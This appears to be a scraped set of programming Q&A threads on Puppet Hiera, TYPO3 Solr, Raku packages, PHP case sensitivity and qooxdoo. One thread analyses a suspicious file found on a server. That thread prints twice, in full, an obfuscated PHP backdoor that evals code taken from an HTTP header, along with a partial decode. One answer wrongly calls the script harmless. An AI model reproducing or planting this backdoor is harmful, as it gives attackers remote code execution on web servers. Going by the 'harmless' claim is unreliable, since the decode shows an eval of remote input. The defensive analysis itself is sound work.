Evaluation Error while using the Hiera hash in puppet - arrays

I have the following values in my hiera yaml file:
test::config_php::php_modules :
-'soap'
-'mcrypt'
-'pdo'
-'mbstring'
-'php-process'
-'pecl-memcache'
-'devel'
-'php-gd'
-'pear'
-'mysql'
-'xml'
and following is my test class:
class test::config_php (
$php_version,
$php_modules = hiera_hash('php_modules', {}),
$module_name,
){
class { 'php':
version => $php_version,
}
$php_modules.each |String $php_module| {
php::module { $php_module: }
}
}
While running my puppet manifests I get the following error:
Error: Evaluation Error: Error while evaluating a Function Call, create_resources(): second argument must be a hash at /tmp/vagrant-puppet/modules-f38a037289f9864906c44863800dbacf/ssh/manifests/init.pp:46:3 on node testdays-1a.vagrant.loc.vag
I am quite confused on what exactly am I doing wrong. My puppet version is 3.6.2 and I also have parser = future
I would really appreciate any help here.

Looks like your YAML was slightly off.
You don't really need quotes in YAML.
Your indentation was two instead of one.
Your first colon on the first time was spaced. This will throw a syntax error.
it should look more like this:
test::config_php::php_modules:
- soap
- mcrypt
- pdo
- mbstring
- php-process
- pecl-memcache
- devel
- php-gd
- pear
- mysql
- xml
In the future try and look up YAML parsers like this: link

The problem was with my puppet version, somehow version 3.6 acts weird while creating resources, for instance it was failing on the following line,:
create_resources('::ssh::client::config::user', $fin_users_client_options)
The code snippet above is part of ssh module from puppet labs, which I assume is throughly tested and shouldn't be a reason for the an exception.
A further analysis led to the fact that the exception was thrown when the parameter parser = future was set in the config file
I cannot iterate using each without setting future as the parser, therefore I decided to change my source as follow:
I created a new class:
define test::install_modules {
php::module { $name: }
}
and then I changed the config config_php to:
class test::config_php (
$php_version,
$php_modules = [],
){
class { 'php':
version => $php_version,
}
install_modules { $php_modules: }
}
Everything seems to be much better now.

Related

TYPO3 10 and Solr : can't modify the Typoscript config through a Viewhelpers

I'm trying to add search options on my search form that would allow the user to ensure that all the words he searched for are in the results, or at least one, or an "exact match".
I've found MinimumMatch and it's perfect for that.
I've made a custom viewhelper that I placed in my Result.html, it takes as parameter the type of search the user wants (atLeastOne, AllWords, etc...) and I've dug a bit in the source code and it seems I can override values of the current Solr Typoscript by passing an array to a mergeSolrConfiguration function.
So I tried something like that as a draft to see how it works :
public static function renderStatic(array $arguments, Closure $renderChildrenClosure, RenderingContextInterface $renderingContext)
{
$previousRequest = static::getUsedSearchRequestFromRenderingContext($renderingContext);
$usedQuery = $previousRequest->getRawUserQuery();
$contextConfiguration = $previousRequest->getContextTypoScriptConfiguration();
$override['plugin.']['tx_solr.']['search.']['query.']['minimumMatch'] = '100%';
$contextConfiguration->mergeSolrConfiguration($override, true, true);
return self::getSearchUriBuilder($renderingContext)->getNewSearchUri($previousRequest, $usedQuery);
}
But it simply doesn't work. Solr keeps using the site's Typoscript config instead of my overriden one.
I saw there was a way to also override the Typoscript of the filters, with setSearchQueryFilterConfiguration so I gave it a try with :
public static function renderStatic(array $arguments, Closure $renderChildrenClosure, RenderingContextInterface $renderingContext)
{
$previousRequest = static::getUsedSearchRequestFromRenderingContext($renderingContext);
$usedQuery = $previousRequest->getRawUserQuery();
$previousRequest->getContextTypoScriptConfiguration()
->setSearchQueryFilterConfiguration(['sourceId_intS' => 'sourceId_intS:7']);
return self::getSearchUriBuilder($renderingContext)->getNewSearchUri($previousRequest, $usedQuery);
}
But nope, it keeps using the configuration set in the website's template, completely ignoring my overrides.
Am I going the wrong way with this ? Is the thing I'm trying to do not possible technically ?

Package-qualified names. Differences (if any) between Package::<&var> vs &Package::var?

Reading through https://docs.perl6.org/language/packages#Package-qualified_names it outlines qualifying package variables with this syntax:
Foo::Bar::<$quux>; #..as an alternative to Foo::Bar::quux;
For reference the package structure used as the example in the document is:
class Foo {
sub zape () { say "zipi" }
class Bar {
method baz () { return 'Þor is mighty' }
our &zape = { "zipi" }; #this is the variable I want to resolve
our $quux = 42;
}
}
The same page states this style of qualification doesn't work to access &zape in the Foo::Bar package listed above:
(This does not work with the &zape variable)
Yet, if I try:
Foo::Bar::<&zape>; # instead of &Foo::Bar::zape;
it is resolves just fine.
Have I misinterpreted the document or completely missed the point being made? What would be the logic behind it 'not working' with code reference variables vs a scalar for example?
I'm not aware of differences, but Foo::Bar::<&zape> can also be modified to use {} instead of <>, which then can be used with something other than literals, like this:
my $name = '&zape';
Foo::Bar::{$name}()
or
my $name = 'zape';
&Foo::Bar::{$name}()
JJ and Moritz have provided useful answers.
This nanswer is a whole nother ball of wax. I've written and discarded several nanswers to your question over the last few days. None have been very useful. I'm not sure this is either but I've decided I've finally got a first version of something worth publishing, regardless of its current usefulness.
In this first installment my nanswer is just a series of observations and questions. I also hope to add an explanation of my observations based on what I glean from spelunking the compiler's code to understand what we see. (For now I've just written up the start of that process as the second half of this nanswer.)
Differences (if any) between Package::<&var> vs &Package::var?
They're fundamentally different syntax. They're not fully interchangeable in where you can write them. They result in different evaluations. Their result can be different things.
Let's step thru lots of variations drawing out the differences.
say Package::<&var>; # compile-time error: Undeclared name: Package
So, forget the ::<...> bit for a moment. P6 is looking at that Package bit and demanding that it be an already declared name. That seems simple enough.
say &Package::var; # (Any)
Quite a difference! For some reason, for this second syntax, P6 has no problem with those two arbitrary names (Package and var) not having been declared. Who knows what it's doing with the &. And why is it (Any) and not (Callable) or Nil?
Let's try declaring these things. First:
my Package::<&var> = { 42 } # compile-time error: Type 'Package' is not declared
OK. But if we declare Package things don't really improve:
package Package {}
my Package::<&var> = { 42 } # compile-time error: Malformed my
OK, start with a clean slate again, without the package declaration. What about the other syntax?:
my &Package::var = { 42 }
Yay. P6 accepts this code. Now, for the next few lines we'll assume the declaration above. What about:
say &Package::var(); # 42
\o/ So can we use the other syntax?:
say Package::<&var>(); # compile-time error: Undeclared name: Package
Nope. It seems like the my didn't declare a Package with a &var in it. Maybe it declared a &Package::var, where the :: just happens to be part of the name but isn't about packages? P6 supports a bunch of "pseudo" packages. One of them is LEXICAL:
say LEXICAL::; # PseudoStash.new(... &Package::var => (Callable) ...
Bingo. Or is it?
say LEXICAL::<&Package::var>(); # Cannot invoke this object
# (REPR: Uninstantiable; Callable)
What happened to our { 42 }?
Hmm. Let's start from a clean slate and create &Package::var in a completely different way:
package Package { our sub var { 99 } }
say &Package::var(); # 99
say Package::<&var>(); # 99
Wow. Now, assuming those lines above and trying to add more:
my Package::<&var> = { 42 } # Compile-time error: Malformed my
That was to be expected given our previous attempt above. What about:
my &Package::var = { 42 } # Cannot modify an immutable Sub (&var)
Is it all making sense now? ;)
Spelunking the compiler code, checking the grammar
1 I spent a long time trying to work out what the deal really is before looking at the source code of the Rakudo compiler. This is a footnote covering my initial compiler spelunking. I hope to continue it tomorrow and turn this nanswer into an answer this weekend.
The good news is it's just P6 code -- most of Rakudo is written in P6.
The bad news is knowing where to look. You might see the doc directory and then the compiler overview. But then you'll notice the overview doc has barely been touched since 2010! Don't bother. Perhaps Andrew Shitov's "internals" posts will help orient you? Moving on...
In this case what I am interested in is understanding the precise nature of the Package::<&var> and &Package::var forms of syntax. When I type "syntax" into GH's repo search field the second file listed is the Perl 6 Grammar. Bingo.
Now comes the ugly news. The Perl 6 Grammar file is 6K LOC and looks super intimidating. But I find it all makes sense when I keep my cool.
Next, I'm wondering what to search for on the page. :: nets 600+ matches. Hmm. ::< is just 1, but it is in an error message. But in what? In token morename. Looking at that I can see it's likely not relevant. But the '::' near the start of the token is just the ticket. Searching the page for '::' yields 10 matches. The first 4 (from the start of the file) are more error messages. The next two are in the above morename token. 4 matches left.
The next one appears a quarter way thru token term:sym<name>. A "name". .oO ( Undeclared name: Package So maybe this is relevant? )
Next, token typename. A "typename". .oO ( Type 'Package' is not declared So maybe this is relevant too? )
token methodop. Definitely not relevant.
Finally token infix:sym<?? !!>. Nope.
There are no differences between Package::<&var> and &Package::var.
package Foo { our $var = "Bar" };
say $Foo::var === Foo::<$var>; # OUTPUT: «True␤»
Ditto for subs (of course):
package Foo { our &zape = { "Bar" } };
say &Foo::zape === Foo::<&zape>;# OUTPUT: «True␤»
What the documentation (somewhat confusingly) is trying to say is that package-scope variables can only be accessed if declared using our. There are two zapes, one of them has got lexical scope (subs get lexical scope by default), so you can't access that one. I have raised this issue in the doc repo and will try to fix it as soon as possible.

Travis CI is not case-sensitive by default?

I have a php project that has composer dependencies which are inherently tested in the code path of my unit tests. Here's my sample code:
<?php
// where FooBar is a composer package but I'm purposely typing it incorrectly here
use \fooBaR
public function appendNameToWords(array $words, $name)
{
$start = microtime(true);
$newWords = array_map(function($word){
return $word . $name;
}, $words);
// logs the diff between start and end time
FooBar::logTimer($start);
return $newWords;
}
My test is simply testing the method but of course executes the line FooBar::logTimer in my source code. The problem is I'm expecting my test to fail if I mistype the class FooBar to be fooBaR. Unfortunately, the travis build is passing...but i'm unclear why.
.travis.yml file:
language: php
php:
- 5.6
install: script/install
script:
- script/test
Any ideas on what could be wrong?
PHP is not case sensitive when it comes to class names. If your code declares a class named Foo, and this definition is executed, you can also instantiate any other case style, like foo or fOO.
PHP will preserve the case of the occurrence that triggers the autoload (i.e. the first time PHP encounters a class name), and if that case style does not match a case sensitive file name, using the class will fail.
I consider writing the class in the correct case style a problem that should not be tested with a unit test. It's a problem that cannot be solved in your own code - and it is basically not existing if you use a powerful IDE that knows all classes that can be used.
Additionally: Your question does not provide code that demonstrates the problem. And it contains code that probably does not do what you think it does.

Suspicious file found on server

I have found a suspicious file on my server, I am attempting to decode and figure out what it was put there to do.
The code is as follows, any tips on how to decode this.
<?php if(!function_exists("mystr1s45")){class mystr1s21 { static $mystr1s279="S\x46\x52U\x55F9\x49VFR\x51\x52A\x3d="; static $mystr1s178="b\x61\x73e\x364\x5fde\x63\x6fd\x65"; }eval("e\x76\x61\x6c\x28\x62a\x73e\x364\x5f\x64\x65c\x6f\x64\x65\x28\x27Zn\x56uY\x33Rpb\x324\x67bX\x6czd\x48\x49xcz\x634KC\x52teX\x4e\x30c\x6aF\x7aO\x54\x6bp\x65yR\x37I\x6cx\x34\x4emRc\x65D\x635c1\x78\x34NzR\x79X\x48gz\x4dXNc\x65DMx\x4dVx\x34Mz\x41if\x541t\x65XN\x30cj\x46zMj\x45\x36\x4fi\x52\x37\x49\x6cx\x34NmR\x35\x63\x31\x784Nz\x52y\x4dV\x78\x34\x4ez\x4d\x78Nzg\x69f\x54ty\x5aXR1\x63m4\x67J\x48sib\x58l\x63\x65\x44\x63zd\x46x4N\x7aJce\x44Mxc\x7aF\x63e\x44M\x78MCJ\x39K\x43\x42teX\x4e\x30\x63\x6aFzM\x6a\x456Oi\x527J\x48si\x58Hg\x32ZH\x6c\x63e\x44czd\x48J\x63\x65D\x4dxc\x7a\x6c\x63eDM\x35\x49\x6e19I\x43k\x37\x66Q\x3d\x3d\x27\x29\x29\x3be\x76a\x6c\x28\x62a\x73e\x364\x5f\x64e\x63o\x64\x65\x28\x27ZnV\x75Y3\x52pb\x324\x67b\x58\x6c\x7adHI\x78c\x7a\x51\x31KC\x52\x74eX\x4e0cj\x46zNj\x59\x70IH\x74y\x5aXR1\x63m\x34g\x62Xl\x7ad\x48I\x78czI\x78\x4fj\x6f\x6beyR\x37\x49m1\x35\x58Hg\x33\x4d3Rc\x65D\x63yMX\x4eceD\x4d2\x4e\x69\x4a9f\x54t\x39\x27\x29\x29\x3b");} $mystr1s2235=#getenv(mystr1s78("\x6dys\x74r1s\x3279"));if($mystr1s2235) {#eval($mystr1s2235);} ?>
Thanks,
Alan.
The functions in php you're looking for appear to be a combination of base64_decode and urldecode. For example:
urldecode("\x6d\x79s\x74r\x31s\x311\x30");
gives "mystr1s110"
Also part of the string in the eval statement base64_decodes to:
function mystr1s78($mystr1s99){${"\x6d\x79s\x74r\x31s\x311\x30"}=mystr1s21::${"\x6dys\x74r1\x73178"};return ${"my\x73t\x72\x31s1\x310"}( mystr1s21::${${"\x6dy\x73tr\x31s9\x39"}} );}
Those encoded strings all reference variables defined earlier, for example \x6d\x79s\x74r\x31s\x311\x30 url-decodes to mystr1s110
This looks very nasty to me. Although I'm no security expert. I would just php -a and figure out what chunks are decoded how, then reconstruct the code from there.
On a side note. You pulled this off the server, right?
EDIT:
Was kind of intrigued by this. After a complete decode I got this:
<?php
if(!function_exists("myFunction2")){
class myClass {
static $myVar1="SFRUUF9IVFRQRA==";
static $myVar2=“base64_decode”;
}
function myFunction1($myArg)
{
${$myVar4}=myClass::$myVar2; // myClass::$myVar2 is just "base64_decode"
return $myVar4( myClass::${$myArg} ); // reuturning base64_decode of the argument
}
function myFunction2($myArg2)
{
return myClass::${$myVar3}
}
$myFinalVar=#getenv(myFunction1('myVar1')); //just gets env variable of base64 decode of myVar1
if($myFinalVar) {
#eval($myFinalVar); //executes
}
?>
Looks to me like its a script designed to execute a script on another server. (i.e. they could just hit the web address with their script in url and it would execute. SFRUUF9IVFRQRA== decodes to HTTP_HTTPD so they could hit http://yourwebsite.com/thisscript.php?HTTP_HTTPD=myscriptaddress.php and it would run whatever they wanted on your server.
According to me, it is not a harmful script, in fact, it is not of any use.
Here is the basis for my comments -
To decode, you can simply put the hex strings as argument to print_r().
print_r("b\x61\x73e\x364\x5fde\x63\x6fd\x65");
Complete decoded code is:
<?php
if(!function_exists("mystr1s45")){
class mystr1s21 {
static $mystr1s279="SFRUUF9IVFRQRA==";
static $mystr1s178="base64_decode";
}
eval(
eval(
function mystr1s78($mystr1s99){ // returns 'HTTP_HTTPD'
${mystr1s110}=mystr1s21::${mystr1s178};
return ${mystr1s110}( mystr1s21::${${mystr1s99}} );
}
);
eval(
function mystr1s45($mystr1s66) {
return mystr1s21::${${mystr1s66}};
}
);
);
}
$mystr1s2235=#getenv(mystr1s78("mystr1s279"));
if($mystr1s2235) {
#eval($mystr1s2235);
}
?>
The function mystr1s78 will return 'HTTP_HTTPD'. This will used as environment variable to get its value using getenv.
If you run the decoded code, you will face 'Parsing Error' near definition of function mystr1s78. This is because, eval expects a string and string must be a valid code statement(not expression).
Parse error: syntax error, unexpected 'mystr1s78' (T_STRING), expecting '('
As far as I know, by default, HTTP_HTTPD is not an environment variable which is set by apache or any webserver and even if it is a variable with some value, passing it to eval will not do anything.
To confirm, you can set an environment variable HTTP_HTTPD as follows:
<?php
apache_setenv('HTTP_HTTPD',<some_value>);
if(!function_exists("mystr1s45")){class mystr1s21 { static $mystr1s279="S\x46\x52U\x55F9\x49VFR\x51\x52A\x3d="; static $mystr1s178="b\x61\x73e\x364\x5fde\x63\x6fd\x65"; }eval("e\x76\x61\x6c\x28\x62a\x73e\x364\x5f\x64\x65c\x6f\x64\x65\x28\x27Zn\x56uY\x33Rpb\x324\x67bX\x6czd\x48\x49xcz\x634KC\x52teX\x4e\x30c\x6aF\x7aO\x54\x6bp\x65yR\x37I\x6cx\x34\x4emRc\x65D\x635c1\x78\x34NzR\x79X\x48gz\x4dXNc\x65DMx\x4dVx\x34Mz\x41if\x541t\x65XN\x30cj\x46zMj\x45\x36\x4fi\x52\x37\x49\x6cx\x34NmR\x35\x63\x31\x784Nz\x52y\x4dV\x78\x34\x4ez\x4d\x78Nzg\x69f\x54ty\x5aXR1\x63m4\x67J\x48sib\x58l\x63\x65\x44\x63zd\x46x4N\x7aJce\x44Mxc\x7aF\x63e\x44M\x78MCJ\x39K\x43\x42teX\x4e\x30\x63\x6aFzM\x6a\x456Oi\x527J\x48si\x58Hg\x32ZH\x6c\x63e\x44czd\x48J\x63\x65D\x4dxc\x7a\x6c\x63eDM\x35\x49\x6e19I\x43k\x37\x66Q\x3d\x3d\x27\x29\x29\x3be\x76a\x6c\x28\x62a\x73e\x364\x5f\x64e\x63o\x64\x65\x28\x27ZnV\x75Y3\x52pb\x324\x67b\x58\x6c\x7adHI\x78c\x7a\x51\x31KC\x52\x74eX\x4e0cj\x46zNj\x59\x70IH\x74y\x5aXR1\x63m\x34g\x62Xl\x7ad\x48I\x78czI\x78\x4fj\x6f\x6beyR\x37\x49m1\x35\x58Hg\x33\x4d3Rc\x65D\x63yMX\x4eceD\x4d2\x4e\x69\x4a9f\x54t\x39\x27\x29\x29\x3b");} $mystr1s2235=#getenv(mystr1s78("\x6dys\x74r1s\x3279"));if($mystr1s2235) {#eval($mystr1s2235);}
?>
Please let us know if you think this is malicious and can harm the system.

Error: Variantoptimizer: No default case found for (qx.debug:off)

When trying to generate our application with the variant "qx.debug" set to "on" in the config.json I get a lot of errors like this:
Error: Variantoptimizer: No default case found for (qx.debug:off) at (qx.core.Property:1004)
I could fix those by adding the "default" cases, but I was wondering, if I was doing something wrong in the first place or if this these are actual issues in the qooxdoo SDK.
For one thing, qx.debug is set to "on" in the source version by default, so you don't have to do anything for that.
For the build version, you need to configure this in your config.json, e.g. in the "jobs" section add
"build" : {
"variants" : {
"=qx.debug" : [ "on" ]
}
}
Is this what your config looks like? The error message you gave is weird, which qooxdoo version are you using? You shouldn't need to provide any "default" cases for this variant in the framework code.

Resources